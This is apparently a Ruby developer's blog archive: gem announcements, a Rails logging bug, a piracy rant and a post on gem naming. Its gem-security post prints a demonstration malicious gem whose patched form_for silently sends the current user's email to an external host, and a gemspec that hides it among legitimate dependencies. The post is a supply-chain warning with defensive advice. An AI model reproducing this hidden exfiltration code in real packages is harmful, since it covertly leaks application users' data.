A Developer with a Pencil

Looking for Beta Testers - Admonetize.me

We have recently opened the gates for our new project, admonetize.me.

Admonetize.me is a Twitter follower monetization platform. We offer Twitter users the option to convert their common follower interest into a steady income.

How does it work?

After logging in using Twitter, you’ll be asked to select your follower interests from our wide variety of ad categories, set the amount of ads you agree to be posted on your behalf per day and finally - set the price for click you ask for.

From this point on, we’ll allow publishers to queue ads to your account. you’ll have enough time to review those ads - approve or reject them and prevent unwanted spam hitting your followers.

When your followers convert (a.i: clicking a the ad link) you get paid. that’s it.

Closed Beta?

We are currently aiming to collect 10,000 users for our closed beta, all you’ll need to do is to sign up for our beta @ admonetize.me and we’ll let you know when we open our doors.

Not interested?

That’s fine. but we’ll appreciate if you’ll spread the word anyway and share this post or the admonetize.me url in the social networks.

Rails Request Repeats in Logs

Today we inherited on a multi-tenant Rails app for a new client that had a weird bug. Every GET request that was made in the application showed up twice in the l:low_brightness:

1
2
3
4
5
6
7
  Started GET "/vehicles
  Processing by VehiclesController#query as HTML
  ...
  ...

  Started GET "/vehicles
  Processing by VehiclesController#query as */*

As you can clearly tell from those two requests - Rails thinks the two requests are in different mime types, HTML and the general */* which led us to think, maybe there’s some kind of a resource request (CSS, Javascript or images) that has an empty url, something like:

1
  <img src="" />

Since the javascript_include_tag, styleheet_link_tag are protected against empty requests - we narrowed it down to image_tags - but it seems that if you pass an empty string or a nil value to image_tag - no request is being made.

Another thought we had is that we the actual link has some javascript remote behavior defined manually, and that the previous developers didn’t do some kind of an event propagation to prevent the link from doing what it is originally supposed to do - but the project had 0 custom javascript code and the link didn’t have any RJS setup.

So who is to blame?

When all else failed, we decided to break down the app views one by one. Luckily the perpetrator was one of our first suspects. Friends, meet favicon_link_tag. favicon_link_tag simply creates the HEAD section link tag to point to the favicon asset, and in the case of having no favicon address specified - the browser makes a request to the current url and that’s where the extra request in our logs comes from.

Voila!

List of possible causes for repeating requests in the rails logs

  • Manual AJAX requests without some kind of e.preventDefault(), They’ll run, but the original link role is still going to kick in as well.
  • Empty asset link
  • Empty favicon asset link.

Strong Parameters Just Got Nicer

Strong Parameters in a nutshell, is an interface for protecting attributes from end-user assignment. This makes Action Controller parameters forbidden to be used in Active Model mass assignment until they have been whitelisted.

Long story short, before you can use the request parameters - you have to whitelist them to prevent your end-user or any other evil conductor - to cause havoc and change things they aren’t allowed to in your databases.

Up until now the way to do this was to create a method that whitelists the incoming params list, something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  class UsersController < ActionController


    def new
      @user = User.new
    end

    def create

      # Here we are using the parameter whitelisting method
      @user = User.new(user_params)
      if @user.save
        redirect_to users_url, notice: "User created"
      else
        render :new
      end
    end


    private

    # Parameter whitelisting method
    def user_params
      params.require(:user).permit(:name, :age)
    end
  end

Now that is absolutely a better approach for whitelisting attributes than the previous standard of attr_accesible and attr_protected, this logic belongs in the controller no doubt - but why do I need to code that whitelisting method manually and I don’t have a way to set this up nicely like action filters or validations?

Introducing: BetterStrongParams

BetterStrongParams adds a DSL to ActionController that allows to add strong params filtering without adding a specific, dirty controller method. Simple.

Installation

Add this line to your application’s Gemfile:

gem 'better_strong_params'

And then execute:

$ bundle

Or install it yourself as:

$ gem install better_strong_params

Setting up

BetterStrongParams is automatically included in ActionController::Base, so you don’t actually need to do anything to set this one up.

Usage

BetterStrongParams allows you to use the filter_parameters method in your controllers:

1
2
3
  class UsersController < ApplicationController
    filter_parameters create: {post: [:title, :body]}, ...
  end

filter_parameters accepts an option hash specifing a method name, a required parameter and a permitted parameters list like this

1
  controller_action_name: {required_param_name: [permitted1, permitted2,...]}, controller_action_name2: ....

for every controller action you set using filter_parameters, a method named #{controller_action}_params will be created and will be ready to use when you want it.

Full example

1
2
3
4
5
6
7
8
9
10
11
12
13
  class UsersController < ApplicationController

    filter_parameters create: {post: [:title, :body]}

    def create
      @user = User.new(create_params) # => create_params is available via BetterStrongParams and the filter_parameters DSL.
      if @user.save
        redirect_to treasure_url
      else
        redirect_to jail_url
      end
    end
  end

Contributing

Forks and feedback are always welcome.

RubygemsCounter.js - Show Your Gem Total Downloads From Rubygems

In past couple of weeks we @ ShinobiDevs were super busy building a couple of gems. Today, after releasing TheCart we thought it would be nice to have a little bit of statistics from RubyGems.org on the relevant gem blog posts.

So, here is a RubyGems Javascript widget that simply queries the RubyGems.org API and shows the number of downloads that gem has.

How to use it.

Simply add the following line into your HTML head section:

1
  <script src="http://rubygemscounter.herokuapp.com/rubygems.js"></script>

and use the following script to grab the gem details:

1
2
3
4
  <div id="gem_info"></div>
  <script type="text/javascript">
    Rubygems.fetch("gem_info", "the_cart-0.0.1");
  </script>

This will fill in the container (gem_info element) the following HTML element:

1
2
3
<div id='rubygems_total_downloads'>
  The <a href='https://rubygems.org/gems/the_cart' target='_blank'>the_cart</a> gem has xxx downloads.
</div>

kind of like this:

Contribute

Code is available right here

TheCart - Redis Base Cart Implementation

TheCart is an implementation of a cart that utilizes Redis’s awesomeness.

Installation

Add this line to your application’s Gemfile:

gem 'the_cart'

And then execute:

$ bundle

Or install it yourself as:

$ gem install the_cart

Configuration

create an initializer in config/initializers/the_cart.rb:

TheCart.configure do |c|
  #...
end

The following options exist:

  • redis: an existing Redis connection, defaults to a Redis.new instance.

Usage

TheCart consists of two main actors, Shopper and Item.

Shopper

To add shopping abilities to a class, add the following:

1
  include TheCart::Shopper

and the cartify directive:

1
  cartify cart_expires_in: 12

cart_expires_in lets TheCart know in how many hours the cart key in redis should be expired, defaults to 24 hours.

Item

To allow the shopper to add items to the cart, all classes that can be added should include the following:

1
  include TheCart::Item

and the following configuration:

1
  cartify_item track: [field1, field2,...], price_field: :price

Those track fields/attributes/methods return values will be cached in Redis after everytime you save the item instance, note that your ORM needs to implement after_save since TheCart utilizes those callbacks to update the cached data from Redis.

The id attribute will automatically be cached.

price_field is the name of the attribute / method that returns the item price, defaults to :price

Examples

Listing items in a cart

@user.cart # => returns a hash of the tracked item fields currently cached, with quantity

Adding an item

@user.add_item_to_cart(@product)

Removing an item

@user.remove_item_from_cart(@product)

Count items in cart

@user.cart_count #=> will return the actual item count, quantity considered.

Total Cost of items in cart

@user.cart_total #= 3000.0

Contributing and Source Code

As always, Pull requests and forks are always welcome over @ Github

Me and Redis Are Now Friends

During one of our latest project over @ ShinobiDevs we needed some way to represent some kind of a friendship status between the app’s user. The feature spec’d was more like Facebook’s request mechanism:

  • User can send friend requests to other users.
  • Other User needs to accept the friend request.
  • Current friends, pending requests and sent invitations are all visible tol the current user.

Pretty simple.

After a few days of hard work and lonely nights implementing this feature in the client’s app - we decided to release this functionality as a rails gem, so here is Friendis.

Friendis (a lame combination of Friends and Redis) is based on the Implement a social graph example from the Redis Cookbook and relies on the amazing abilities of Redis to manage the friends lists, requests and pending invitations.

Installation

Add this line to your application’s Gemfile:

gem 'friendis'

And then execute:

$ bundle

Or install it yourself as:

$ gem install friendis

Usage

Configuration

create an initializer in config/initializers/friendis.rb:

Friendis.configure do |c|
  #...
end

The following options exist:

  • redis_connection: an existing Redis connection, defaults to a Redis.new instance.

Adding to a Model

All you need to do is to include the Friendable module:

include Friendis::Friendable

and to choose which attributes or methods will be cached in Redis for that user:

friend_this track: [:name, :picture]

Those fields will be changed in Redis after everytime you save the instance, note that your ORM needs to implement after_save and after_destroy since Friendis utilizes those callbacks to update and remove the cached data from Redis.

The id attribute will automatically be cached.

Examples

class User < ActiveRecord::Base
  include Friendis::Friendable

  friend_this track: [:name, :picture]
end 

Friend Requests

@user1 = User.create(name: "Elad Meidar", picture: "http://picturez.com/elad.jpg")
@user2 = User.create(name: "Miki Bergin", picture: "http://picturez.com/miki.jpg")

@user1.send_friend_request(@user2)

Pending Friend Requests

@user2.pending_friend_requests

pending_friend_requests will return the cached attributes for the pending friend requests, in this case

[{"name" => "Elad Meidar", "picture" => "http://picturez.com/elad.jpg", "id" => 1}]

Sent Friend Requests

@user2.sent_friend_requests

sent_friend_requests will return the cached attributes for the sent friend requests, in this case

[{"name" => "Miki Bergin", "picture" => "http://picturez.com/miki.jpg", "id" => 2}]

Approving Friend Requests

@user2.approve_friend_request(@user1)

Lisiting Friends

@user1.friends

friends will return the cached attributes of the currently approved friends, in this case

[{"name" => "Miki Bergin", "picture" => "http://picturez.com/miki.jpg", "id" => 2}] 

Check Friendship

@user1.is_friends_with?(@user2) #=> true
@user1.is_friends_with?(@user3) #=> false

Unfriend

@user1.unfriend(@user2)

Contributing and Source Code

As always, Pull requests and forks are always welcome over @ Github

Pirating Breaks My Heart

Being a software developer is a fun thing to do, right?

You get to create cool apps, contribute to opensource and over be a modern De Vinci - even if only in your own mind.

But it’s not all fun and games - Just like a painting artist, a sculpture, a singer or a band you put in a lot of effort in creating your art and your code and everyone knows how good it is that people appreciate your work and show it (paying is great, but forks and open source contributions are awesome as well).

This is why I don’t get people that work in this industry and download software, music or movies illegaly.

This post comes after reading a few articles about a certain open sourced MacOS app that allows you to watch movies straight off torrents, described and praised as “Netflix Killer”.

I am not going to use the name of this app here because I don’t want to be even slightly responsible to even one single download of this thing.

This app and its website were taken down by authorities a few times and it just came back up like most of those shitty ripoffs tend to stay alive. But now, I learned about it from My facebook feed - it seems that one (maybe the only) author of this app is a developer in one of the most recently highly Israeli based Startups. He praised the fact that Hollywood “Can’t catch him” and he’ll “be happy to see who wins”.

You know? that’s just lame.

You are a developer, you create software for a living (i doubt the quality, but still) - you are a member of a respctful company and this is what you do? steal from others? what would you say if one of the 1000s of 1000s of far east based web-app-duplicator is going to steal your own_ code? you’d scream and cry like a baby. I guess it’s easier to steal from others, not so nice when someone steals from you.

I can’t grasp the fact that web developers feel it is ok to steal someone else’s work. During my time @ Fiverr.com we got to see about 50 clones (sites that look and act like Fiverr) per day, this was beyond annoying and grew even more after we found out that sometimes they just copied the Fiverr source code off the browsers. Yap, my own HTML comments were on at least 100 clones.

The point is, why would you steal another (wo)man’s work? I’ve pinged this question around the interwebs and got a few possibly reasonable reasons:

  • “NetFlix is not available in my country”

Not a reason to steal, sorry. Spoof your location and get Netflix like responsible adults do.

  • “But games cost a shitload in Israel!”

So does a Ferrari. Not a reason to steal, sorry.

STEALING IS STEALING no matter how you put it, if you get something you should have paid for without paying for it - you suck.

I think that developers, whom I consider as artists no less than musicians or painters, should pay the respect for other people’s work and products. In ShinobiDevs we do not pirate software, we buy everything with good, hard earned money and we do not support pirated software or any kind of theft that disrespects our very own profession and ourselves.

In conclusion, That kind of people disgusts me. If he or any of his “colleagues” was working in ShinobiDevs, he would have been fired on the spot - I hope his employers will find it as the right to do it as well. Someone who has no respect for laws, rules and proper professional curtesy should have no place in this industry.

Thinking About Ruby Gems Security

Installing a gem allows that gem’s code to run in the context of your application. Clearly this has security implications: installing a malicious gem on a server could ultimately result in that server being completely penetrated by the gem’s author. Because of this, the security of gem code is a topic of active discussion within the Ruby community. Rubygems.org documentation

It should be obvious to everyone that when you install a gem you don’t know, never used or had a look at its source code - it could be a bad idea.

What could go wrong?

The other day I was looking for a bootstrap date picker solution and found this bootstrap-datepicker.js and comfortably, a gem that wraps this neat little script.

After installing this gem, I started thinking about how easily I believed this gem is related to the bootstrap plugin and how fast I added it to the project’s Gemfile.

What if it wasn’t doing what it is supposed to do, but just an eye catching name for a melicious code?

Introducing - bootstrap_buttons (Please, do not install this gem)

Meet bootstrap_buttons - an evil gem dressed as a pretty addon for Bootstrap. In short what this gem does as you can see here is overriding your form_for method and adds a bit of evil sauce to it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
module BootstrapButtons
  module FormGrabber

    # Patch form_for to be evil
    def form_for(record, options = {}, &block)
      steal_identity
      super
    end

    protected

    # hidden evil method that posts your session and cookies somewhere
    def steal_identity
      begin
        HTTParty.post("http://bootstrap-buttons.herokuapp.com/users.json", body: { user: {email: current_user.email}})
      rescue

      end
    end
  end
end

ActionView::Base.send :include BootstrapButtons::FormGrabber

Long story short - it will send the current logged in user’s email address to http://bootstrap-buttons.herokuapp.com and then continue to genereate your form like nothing evil happened.

How is this dangerous?

Aside from the fact that single look at this gem will reveal its true evil identity - what happens if someone installs this gem without paying attention to it? (as in, being a dependency for a bigger spoofed bootstrap bundle):

bootstrap_extensions.gemspec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'bootstrap_extensions/version'

Gem::Specification.new do |spec|
  spec.name          = "bootstrap_extensions"
  spec.version       = BootstrapExtensions::VERSION
  spec.authors       = ["I am not evil"]
  spec.email         = ["elad@no-still-not-evil.com"]
  spec.description   = "LIE - An awesome collection of bootstap addons"
  spec.summary       = "Cool gem - install it!"
  spec.homepage      = ""
  spec.license       = "MIT"

  spec.files         = `git ls-files`.split($/)
  spec.executables   = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
  spec.test_files    = spec.files.grep(%r{^(test|spec|features)/})
  spec.require_paths = ["lib"]

  spec.add_development_dependency "bundler", "~> 1.3"
  spec.add_development_dependency "rake"
  spec.add_dependency 'bootstrap-colorpicker-rails' # This is legit
  spec.add_dependency 'bootstrap-datepicker-rails'  # so as this one
  spec.add_dependency 'bootstrap_buttons'           # Holy shit this one is evil!!
end

First two add_dependency lines are cool - those are legitimate bootstrap extensions gems - wrapped as rails engines to allow easy integration in rails apps.

You see bootstrap_buttons hiding there? seems legit right? it will still post your user’s email address to the remote host.

What to do?

Well, just like in any of the other options suggested by the Ruby community to improve gem security and trust - there is no silver bullet. A blind trust is not a good thing unless you absolutely know what you are using and when it is coming from (a.k.a “your own code”).

Installing OS code into your application needs a little touch of Paranoia, there is no need to go over all the code you’ll ever add to your app - but a skim browsing over it could be a nice precaution

Few pointers

While skimming through gem could, the following flags should rise your suspicion a bit.

  1. Using HTTP interface that is not part of the gem. (You would expect an API library to use HTTP requests - but not one that is supposed to add some neat themes)
  2. If this is a Rails engine, read the javascript files. There is nothing better for an evil hacker than the ability to insert free rolling javascript in your code.
  3. Session access. Gems that access your session should be investigate more thoroughly

More on gems security

  1. The Rubygems.org piece on security
  2. A bit on the problems with Gem signing
  3. And how signing is actually being done

Offending Gem Names - Drawing the Line

In my “Being an asshole does not make you awesome” post I listed a few gems that caused some interesting discussions on Twitter.

Following those discussions (with the awesome Rein Henrichs and Jan Lehnardt) I felt the need to clarify most specifically what is wrong with some of the gem names. While some gem names seem completely innocent - It is important to remember a few things in mind

  1. This is a global community, always consider that the other side is not as good with the english language as you are.
  2. Being creative is by all means not a reason to dismiss groups, genders or anything else.
  3. Gem names should be descriptive and be related to what the gem or code is all about.
  4. README files don’t matter. Yes, they are important - but sometimes hearing the name is more than enough.

Drawing the line

So, where does this line strike? no immediate answer. Taking the “hoe” gem for example - it is a great gem that everyone uses and its name is actually a gardening tool - perfect match to the gem’s reference as a Rake (also a gardening tool) accessory.

Yes, “hoe” is a legitimate name in that case - but for people outside the world of native english speakers the immediate meaning when heard, is as a reference to a prostitue.

Again, yes - it is a legitimate name. But there are 200 other gardening tools and nouns related to “Rake” that don’t have the problem of double meaning, and in some circles - an immediate offending translation. Investing a bit more time in choosing a better name would probably be a better option that would have resolved this issue before it even existed.

Choosing the “hoe” gem for that post seemed very odd for some people but the reason behind it was not to dismiss that gem, its authors or its users, just to point out where people that don’t have the entire english gardening jargon in their minds, could probably be offended.

Under the same hood, the “Therapist” gem falls under the same fault. It is supposed to handle Github issues more easily, hence the Therapist reference. Some may read it “The Rapist” - which is not a good thing, but again I assume it is only relevant to non native speakers.

Conclusion

The purpose of that post was to put some focus on the possibly offending gem names around - and to bring the attention of the people that build, maintain and use these gems sometimes without giving the proper minimum attention required to resolve these issues. While some gem names are completely unacceptable in every aspect like “rape-me” and “bitch”, others like “hoe” just needs a little tweak - if only just to dismiss the double meaning issue.

We should be more caring to others in this community, doing open source is awesome all over, but being a valuable member of this community should also include being respectful and thoughtfull in our toolbelts.

No More Fiverr, Please

Due to recent events in the so called relationship between me and Fiverr.com - my recent employer, I am forced to remove and cease any connection between me and this company including online social connentions, communications and affiliation.

I choose to do so because I am recluctant to proceed in this ongoing saga that in my belief, is aimed to dishonor the good men and women that put in a huge effort, their blood and their sweat, to make this idea come to life and to what it is today.

I wish all the Fiverr employees and the company itself a huge success in the future, i just don’t want to hear about them or know they exist ever again.